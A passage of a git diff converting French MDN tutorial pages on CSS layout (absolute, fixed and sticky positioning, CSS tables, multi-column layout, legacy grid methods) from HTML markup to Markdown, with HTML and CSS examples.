rgba(255,84,104,.3); border: 2px solid rgb(255,84,104); top: 30px; left: 30px; -}</pre> - -<p>{{ EmbedLiveSample('Positionnement_absolu', '100%', 300) }}</p> +} +``` -<p>C'est vraiment différent ! L'élément positionné a maintenant complètement été séparé du reste de la mise en page et se situe au haut de celle-ci. Les deux autres paragraphes se trouvent maintenant ensemble comme si leur frère positionné n'existait pas. Les propriétés {{cssxref("top")}} et {{cssxref("left")}} ont des effets différents pour un positionnement absolu comparativement à un relatif. Dans ce cas les décalages ont été calculés à compter du haut et du côté gauche de la la page. Il est possible de modifier l'élément parent conteneur ; nous verrons cela dans la leçon sur le <a href="/fr/docs/Learn/CSS/CSS_layout/Positioning">positionnement</a>.</p> +{{ EmbedLiveSample('Positionnement_absolu', '100%', 300) }} -<h3 id="Positionnement_fixé">Positionnement fixé</h3> +C'est vraiment différent ! L'élément positionné a maintenant complètement été séparé du reste de la mise en page et se situe au haut de celle-ci. Les deux autres paragraphes se trouvent maintenant ensemble comme si leur frère positionné n'existait pas. Les propriétés {{cssxref("top")}} et {{cssxref("left")}} ont des effets différents pour un positionnement absolu comparativement à un relatif. Dans ce cas les décalages ont été calculés à compter du haut et du côté gauche de la la page. Il est possible de modifier l'élément parent conteneur ; nous verrons cela dans la leçon sur le [positionnement](/fr/docs/Learn/CSS/CSS_layout/Positioning). -<p>Le positionnement fixé sort l'élément du cours normal de la même façon que le positionnement absolu. Toutefois, les décalages ne sont plus relatifs au conteneur, mais à la vue. L'élément étant fixé par rapport à la vue, nous pourrons créer des effets comme celui d'un menu restant fixé au haut de la fenêtre alors que la page défile sous lui.</p> +### Positionnement fixé -<p>Pour cet exemple, l'HTML est constitué de trois paragraphes de texte, de façon à pouvoir les faire défiler, et d'une boîte à laquelle nous avons donné la propriété <code>position: fixed</code>.</p> +Le positionnement fixé sort l'élément du cours normal de la même façon que le positionnement absolu. Toutefois, les décalages ne sont plus relatifs au conteneur, mais à la vue. L'élément étant fixé par rapport à la vue, nous pourrons créer des effets comme celui d'un menu restant fixé au haut de la fenêtre alors que la page défile sous lui. -<pre class="brush: html"><h1>Positionnement fixé</h1> +Pour cet exemple, l'HTML est constitué de trois paragraphes de texte, de façon à pouvoir les faire défiler, et d'une boîte à laquelle nous avons donné la propriété `position: fixed`. -<div class="positioned">Fixé</div> +```html +<h1>Positionnement fixé</h1> -<p>Paragraphe 1.</p> -<p>Paragraphe 2.</p> -<p>Paragraphe 3.</p> -</pre> +<div class="positioned">Fixé</div> -<pre class="brush: html hidden"><h1>Positionnement fixé</h1> +<p>Paragraphe 1.</p> +<p>Paragraphe 2.</p> +<p>Paragraphe 3.</p> +``` -<div class="positioned">Fixé</div> +```html hidden +<h1>Positionnement fixé</h1> -<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +<div class="positioned">Fixé</div> -<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> -<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> -</pre> +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +``` -<pre class="brush: css hidden">body { +```css hidden +body { width: 500px; margin: 0 auto; } @@ -487,31 +516,37 @@ p { padding: 10px; margin: 10px; border-radius: 5px; -}</pre> +} +``` -<pre class="brush: css">.positioned { +```css +.positioned { position: fixed; top: 30px; left: 30px; -}</pre> +} +``` -<p>{{ EmbedLiveSample('Positionnement_fixé', '100%', 200) }}</p> +{{ EmbedLiveSample('Positionnement_fixé', '100%', 200) }} -<h3 id="Positionnement_collant">Positionnement collant</h3> +### Positionnement collant -<p>Le positionnement collant est la dernière méthode de positionnement à notre disposition. Elle mélange le positionnement statique par défaut avec le positionnement fixé. Lorsqu'un élément a la propriété <code>position: sticky</code>, il défile dans le cours normal jusqu'à atteindre un décalage défini de la fenêtre de vue. A ce moment-là, il est « collé » comme si <code>position: fixed</code> lui était appliqué.</p> +Le positionnement collant est la dernière méthode de positionnement à notre disposition. Elle mélange le positionnement statique par défaut avec le positionnement fixé. Lorsqu'un élément a la propriété `position: sticky`, il défile dans le cours normal jusqu'à atteindre un décalage défini de la fenêtre de vue. A ce moment-là, il est « collé » comme si `position: fixed` lui était appliqué. -<pre class="brush: html hidden"><h1>Positionnement collant</h1> +```html hidden +<h1>Positionnement collant</h1> -<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> -<div class="positioned">Collé</div> +<div class="positioned">Collé</div> -<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> -<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> </pre> +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +``` -<pre class="brush: css hidden">body { +```css hidden +body { width: 500px; margin: 0 auto; } @@ -522,49 +557,53 @@ p { padding: 10px; margin: 10px; border-radius: 5px; -}</pre> +} +``` -<pre class="brush: css">.positioned { +```css +.positioned { position: sticky; top: 30px; left: 30px; -}</pre> +} +``` -<p>{{ EmbedLiveSample('Positionnement_collant', '100%', 200) }}</p> +{{ EmbedLiveSample('Positionnement_collant', '100%', 200) }} -<div class="note"> -<p><strong>Note :</strong> pour plus de précisions à propos du positionnement, voir l'article <a href="/fr/docs/Learn/CSS/CSS_layout/Positioning">Positionnement</a>.</p> -</div> +> **Note :** pour plus de précisions à propos du positionnement, voir l'article [Positionnement](/fr/docs/Learn/CSS/CSS_layout/Positioning). -<h2 id="Les_tableaux_CSS">Les tableaux CSS</h2> +## Les tableaux CSS -<p>Les tableaux HTML sont utiles pour afficher des données sous forme de tableaux, mais il y a des années de cela — avant même que les bases des CSS soit prises en charge de manière fiable par les navigateurs — les développeurs web avaient l'habitude d'utiliser les tableaux pour agencer toute la mise en page — y plaçant les en‑têtes, les pieds-de-page, diverses colonnes, etc. en multiples lignes et colonnes de tableaux. Cela fonctionnait en son temps, mais il y avait beaucoup de problèmes — la mise en page par tableau n'est pas souple, très lourde en balisage, difficile à déboguer et sémantiquement erronée (par ex., les utilisateurs de lecteur d'écran avaient des problèmes de navigation avec cette disposition en tableau).</p> +Les tableaux HTML sont utiles pour afficher des données sous forme de tableaux, mais il y a des années de cela — avant même que les bases des CSS soit prises en charge de manière fiable par les navigateurs — les développeurs web avaient l'habitude d'utiliser les tableaux pour agencer toute la mise en page — y plaçant les en‑têtes, les pieds-de-page, diverses colonnes, etc. en multiples lignes et colonnes de tableaux. Cela fonctionnait en son temps, mais il y avait beaucoup de problèmes — la mise en page par tableau n'est pas souple, très lourde en balisage, difficile à déboguer et sémantiquement erronée (par ex., les utilisateurs de lecteur d'écran avaient des problèmes de navigation avec cette disposition en tableau). -<p>La façon dont un tableau est affiché sur une page web quand vous utilisez le balisage « table » résulte d'un ensemble de propriétés des CSS définissant la composition du tableau. Ces propriétés peuvent être utilisées pour placer des éléments qui ne sont pas des tableaux, utilisation quelquefois désignée sous le vocable « utiliser des tableaux CSS ».</p> +La façon dont un tableau est affiché sur une page web quand vous utilisez le balisage « table » résulte d'un ensemble de propriétés des CSS définissant la composition du tableau. Ces propriétés peuvent être utilisées pour placer des éléments qui ne sont pas des tableaux, utilisation quelquefois désignée sous le vocable « utiliser des tableaux CSS ». -<p>Prenons un exemple. Tout d'abord, un simple balisage qui crée un formulaire HTML. Chaque élément en entrée a une étiquette ; nous avons également inclus une légende à l'intérieur d'un paragraphe. Chaque paire étiquette/entrée est incorporée dans un élément {{htmlelement("div")}} pour les besoins de la mise en page.</p> +Prenons un exemple. Tout d'abord, un simple balisage qui crée un formulaire HTML. Chaque élément en entrée a une étiquette ; nous avons également inclus une légende à l'intérieur d'un paragraphe. Chaque paire étiquette/entrée est incorporée dans un élément {{htmlelement("div")}} pour les besoins de la mise en page. -<pre class="brush: html"><form> - <p>Tout d'abord, dites‑nous votre nom et votre âge.</p> - <div> - <label for="fname">Prénom :</label> - <input type="text" id="fname"> - </div> - <div> - <label for="lname">Nom :</label> - <input type="text" id="lname"> - </div> - <div> - <label for="age">Âge :</label> - <input type="text" id="age"> - </div> -</form></pre> +```html +<form> + <p>Tout d'abord, dites‑nous votre nom et votre âge.</p> + <div> + <label for="fname">Prénom :</label> + <input type="text" id="fname"> + </div> + <div> + <label for="lname">Nom :</label> + <input type="text" id="lname"> + </div> + <div> + <label for="age">Âge :</label> + <input type="text" id="age"> + </div> +</form> +``` -<p>Maintenant, le CSS pour cet exemple. Le gros de la CSS est plutôt ordinaire, à l'exception de l'utilisation de la propriété {{cssxref("display")}}. Les éléments {{htmlelement("form")}}, {{htmlelement("div")}} et {{htmlelement("label")}} ainsi que {{htmlelement("input")}} ont été configurés pour disposés en tableau, en lignes de tableau et en cellules de tableau respectivement — à la base, ils se comporteront comme dans le cas d'un balisage de tableau HTML, avec pour résultat un bon alignement par défaut entre les étiquettes et le texte. Tout ce qu'il nous reste à faire est d'ajouter un peu d'ampleur, des marges, etc. pour que tout soit agréable visuellement et c'est tout.</p> +Maintenant, le CSS pour cet exemple. Le gros de la CSS est plutôt ordinaire, à l'exception de l'utilisation de la propriété {{cssxref("display")}}. Les éléments {{htmlelement("form")}}, {{htmlelement("div")}} et {{htmlelement("label")}} ainsi que {{htmlelement("input")}} ont été configurés pour disposés en tableau, en lignes de tableau et en cellules de tableau respectivement — à la base, ils se comporteront comme dans le cas d'un balisage de tableau HTML, avec pour résultat un bon alignement par défaut entre les étiquettes et le texte. Tout ce qu'il nous reste à faire est d'ajouter un peu d'ampleur, des marges, etc. pour que tout soit agréable visuellement et c'est tout. -<p>Notez que les propriétés <code>display: table-caption;</code> et <code>caption-side: bottom;</code> ont été affectées au paragraphe légende — il sera donc disposé comme une légende de tableau ({{htmlelement("caption")}}) placée en bas de la table pour des raisons de style, même si son balisage est placé avant les éléments <code>input</code> dans le code source. Voilà une bonne dose de souplesse.</p> +Notez que les propriétés `display: table-caption;` et `caption-side: bottom;` ont été affectées au paragraphe légende — il sera donc disposé comme une légende de tableau ({{htmlelement("caption")}}) placée en bas de la table pour des raisons de style, même si son balisage est placé avant les éléments `input` dans le code source. Voilà une bonne dose de souplesse. -<pre class="brush: css">html { +```css +html { font-family: sans-serif; } @@ -598,69 +637,75 @@ form p { width: 400px; color: #999; font-style: italic; -}</pre> +} +``` -<p>Ce qui nous donne le résultat suivant:</p> +Ce qui nous donne le résultat suivant: -<p>{{ EmbedLiveSample('Les_tableaux_CSS', '100%', '170') }}</p> +{{ EmbedLiveSample('Les_tableaux_CSS', '100%', '170') }} -<p>Vous pouvez également examiner cet exemple directement à <a href="https://mdn.github.io/learning-area/css/styling-boxes/box-model-recap/css-tables-example.html">css-tables-example.html</a> (voyez le <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/box-model-recap/css-tables-example.html">code source également</a>).</p> +Vous pouvez également examiner cet exemple directement à [css-tables-example.html](https://mdn.github.io/learning-area/css/styling-boxes/box-model-recap/css-tables-example.html) (voyez le [code source également](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/box-model-recap/css-tables-example.html)). -<h2 id="Disposition_sur_plusieurs_colonnes">Disposition sur plusieurs colonnes</h2> +## Disposition sur plusieurs colonnes -<p>Le module mise en page sur plusieurs colonnes permet de placer un contenu en colonnes, telle la présentation de l'enchaînement des textes dans un journal. Bien que la lecture de colonnes de haut en bas soit moins utile dans un contexte Web, car il n'est pas question de forcer les utilisateurs à faire défiler en tous sens le contenu d'écran, la disposition en colonnes peut se révéler une technique utile.</p> +Le module mise en page sur plusieurs colonnes permet de placer un contenu en colonnes, telle la présentation de l'enchaînement des textes dans un journal. Bien que la lecture de colonnes de haut en bas soit moins utile dans un contexte Web, car il n'est pas question de forcer les utilisateurs à faire défiler en tous sens le contenu d'écran, la disposition en colonnes peut se révéler une technique utile. -<p>Pour transformer un bloc en conteneur multicolonnes, utilisez soit la propriété {{cssxref("column-count")}} qui indique au navigateur le nombre de colonnes souhaitées, soit la propriété {{cssxref("column-width")}}, qui demande au navigateur de remplir le conteneur d'autant de colonnes de la largeur donnée.</p> +Pour transformer un bloc en conteneur multicolonnes, utilisez soit la propriété {{cssxref("column-count")}} qui indique au navigateur le nombre de colonnes souhaitées, soit la propriété {{cssxref("column-width")}}, qui demande au navigateur de remplir le conteneur d'autant de colonnes de la largeur donnée. -<p>Dans l'exemple ci–dessous, nous démarrons avec un bloc HTML dans un élément conteneur <code><div></code> de la classe <code>container</code>.</p> +Dans l'exemple ci–dessous, nous démarrons avec un bloc HTML dans un élément conteneur `<div>` de la classe `container`. -<pre class="brush: html"><div class="container"> - <h1>Disposition en colonnes</h1> +```html +<div class="container"> + <h1>Disposition en colonnes</h1> - <p>Paragraphe 1.</p> - <p>Paragraphe 2.</p> + <p>Paragraphe 1.</p> + <p>Paragraphe 2.</p> -</div> -</pre> +</div> +``` + +Noux utilisons une propriété `column-width` de valeur 200 pixels pour ce conteneur ; le navigateur crée autant de colonnes de 200 pixels de large qu'il est possible de faire entrer dans le conteneur, puis il partage l'espace restant entre les colonnes crées. -<p>Noux utilisons une propriété <code>column-width</code> de valeur 200 pixels pour ce conteneur ; le navigateur crée autant de colonnes de 200 pixels de large qu'il est possible de faire entrer dans le conteneur, puis il partage l'espace restant entre les colonnes crées.</p> +```html hidden + <div class="container"> + <h2>Disposition en colonnes</h2> -<pre class="brush: html hidden"> <div class="container"> - <h2>Disposition en colonnes</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> - <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + </div> - </div> - </pre> +``` -<pre class="brush: css hidden">body { max-width: 800px; margin: 0 auto; } </pre> +```css hidden +body { max-width: 800px; margin: 0 auto; } +``` -<pre class="brush: css"> .container { +```css + .container { column-width: 200px; - }</pre> + } +``` -<p>{{ EmbedLiveSample('Disposition_sur_plusieurs_colonnes', '100%', 200) }}</p> +{{ EmbedLiveSample('Disposition_sur_plusieurs_colonnes', '100%', 200) }} -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Cet article donne un bref résumé de toutes les techniques de mise en page à connaître. Poursuivez la lecture pour en savoir plus à propos de chaque technique !</p> +Cet article donne un bref résumé de toutes les techniques de mise en page à connaître. Poursuivez la lecture pour en savoir plus à propos de chaque technique ! -<p>{{NextMenu("Apprendre/CSS/CSS_layout/Floats", "Apprendre/CSS/CSS_layout")}}</p> +{{NextMenu("Apprendre/CSS/CSS_layout/Floats", "Apprendre/CSS/CSS_layout")}} -<h2 id="In_this_module">In this module</h2> +## In this module -<ul> - <li><a href="/fr/docs/Apprendre/CSS/CSS_layout">La mise en page avec les CSS</a></li> - <li><a href="/fr/docs/Apprendre/CSS/CSS_layout/Normal_Flow">Cours normal</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Grids">Grid</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Multiple-column Layout</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Legacy Layout Methods</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Supporting older browsers</a></li> - <li><a href="/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Fundamental Layout Comprehension Assessment</a></li> -</ul> +- [La mise en page avec les CSS](/fr/docs/Apprendre/CSS/CSS_layout) +- [Cours normal](/fr/docs/Apprendre/CSS/CSS_layout/Normal_Flow) +- [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox) +- [Grid](/fr/docs/Learn/CSS/CSS_layout/Grids) +- [Floats](/fr/docs/Learn/CSS/CSS_layout/Floats) +- [Positioning](/fr/docs/Learn/CSS/CSS_layout/Positioning) +- [Multiple-column Layout](/fr/docs/Learn/CSS/CSS_layout/Multiple-column_Layout) +- [Legacy Layout Methods](/fr/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods) +- [Supporting older browsers](/fr/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers) +- [Fundamental Layout Comprehension Assessment](/fr/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension) diff --git a/files/fr/learn/css/css_layout/legacy_layout_methods/index.md b/files/fr/learn/css/css_layout/legacy_layout_methods/index.md index e78ffa385a..7fd67d23b5 100644 --- a/files/fr/learn/css/css_layout/legacy_layout_methods/index.md +++ b/files/fr/learn/css/css_layout/legacy_layout_methods/index.md @@ -13,75 +13,92 @@ tags: translation_of: Learn/CSS/CSS_layout/Legacy_Layout_Methods original_slug: Apprendre/CSS/CSS_layout/Legacy_Layout_Methods --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-Column_Layout", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}</p> +{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-Column_Layout", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}} -<p>Les systèmes de trames sont courants dans les mises en page avec une CSS, mais avant la création de l'application « CSS Grid Layout », ces mises en page étaient mises en œuvre à l'aide de boîtes flottantes ou autres. Vous imaginiez votre mise en page sous la forme d'un nombre fixe de colonnes (par exemple 4, 6 ou 12), puis insériez des colonnes de contenu dans ces colonnes imaginaires. Dans cet article, nous allons explorer le fonctionnement de ces méthodes traditionnelles anciennes pour que vous compreniez comment elles sont utilisées si vous travaillez sur un projet ancien.</p> +Les systèmes de trames sont courants dans les mises en page avec une CSS, mais avant la création de l'application « CSS Grid Layout », ces mises en page étaient mises en œuvre à l'aide de boîtes flottantes ou autres. Vous imaginiez votre mise en page sous la forme d'un nombre fixe de colonnes (par exemple 4, 6 ou 12), puis insériez des colonnes de contenu dans ces colonnes imaginaires. Dans cet article, nous allons explorer le fonctionnement de ces méthodes traditionnelles anciennes pour que vous compreniez comment elles sont utilisées si vous travaillez sur un projet ancien. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis:</th> - <td>Les fondamentaux du HTML (voyez <a href="/fr/Apprendre/HTML/Introduction_à_HTML">Introduction au HTML</a>) et une idée du fonctionnement de CSS (voyez <a href="/fr/Apprendre/CSS/Introduction_à_CSS">Introduction à CSS</a> et <a href="/fr/docs/Apprendre/CSS/styliser_boites">Styles de boîtes</a>).</td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Comprendre les concepts fondamentaux derrière les systèmes de disposition en trame utilisés avant que CSS Grid Layout soit disponible dans les navigateurs.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis:</th> + <td> + Les fondamentaux du HTML (voyez + <a href="/fr/Apprendre/HTML/Introduction_à_HTML">Introduction au HTML</a + >) et une idée du fonctionnement de CSS (voyez + <a href="/fr/Apprendre/CSS/Introduction_à_CSS">Introduction à CSS</a> et + <a href="/fr/docs/Apprendre/CSS/styliser_boites">Styles de boîtes</a>). + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td> + Comprendre les concepts fondamentaux derrière les systèmes de + disposition en trame utilisés avant que CSS Grid Layout soit disponible + dans les navigateurs. + </td> + </tr> + </tbody> </table> -<h2 id="Mise_en_page_et_systèmes_de_trames_avant_CSS_Grid_Layout">Mise en page et systèmes de trames avant CSS Grid Layout</h2> +## Mise en page et systèmes de trames avant CSS Grid Layout -<p>Il peut sembler surprenant pour un désigner web que les CSS n'avaient pas de système de disposition en trame intégré jusqu'à peu. Au lieu de cela, nous utilisions diverses méthodes peu performantes pour créer des designs à trames. Nous appelerons maintenant ces méthodes « méthodes héritées ».</p> +Il peut sembler surprenant pour un désigner web que les CSS n'avaient pas de système de disposition en trame intégré jusqu'à peu. Au lieu de cela, nous utilisions diverses méthodes peu performantes pour créer des designs à trames. Nous appelerons maintenant ces méthodes « méthodes héritées ». -<p>Pour les nouveaux projets, dans la plupart des cas, CSS Grid Layout forme la base de toute mise en page en combinaison avec une ou plusieurs autres méthodes modernes. Vous rencontrerez cependant de temps en temps des « systèmes de trame » utilisant ces méthodes héritées. Il est intéressant de comprendre comment elles fonctionnent et en quoi elles différent de CSS Grid Layout.</p> +Pour les nouveaux projets, dans la plupart des cas, CSS Grid Layout forme la base de toute mise en page en combinaison avec une ou plusieurs autres méthodes modernes. Vous rencontrerez cependant de temps en temps des « systèmes de trame » utilisant ces méthodes héritées. Il est intéressant de comprendre comment elles fonctionnent et en quoi elles différent de CSS Grid Layout. -<p>Cette leçon explique comment fonctionnent les systèmes et les cadres de trames se fondant sur des boîtes flottantes et Flexbox. Après avoir étudié « Grid Layout », vous serez probablement surpris de voir à quel point tout cela semble compliqué ! Ces connaissances vous seront utile si vous avez besoin de créer du code de recours pour les navigateurs qui ne prenent pas en charge les nouvelles méthodes ; de plus, elles vous permettront de travailler sur des projets existants qui utilisent ces types de systèmes.</p> +Cette leçon explique comment fonctionnent les systèmes et les cadres de trames se fondant sur des boîtes flottantes et Flexbox. Après avoir étudié « Grid Layout », vous serez probablement surpris de voir à quel 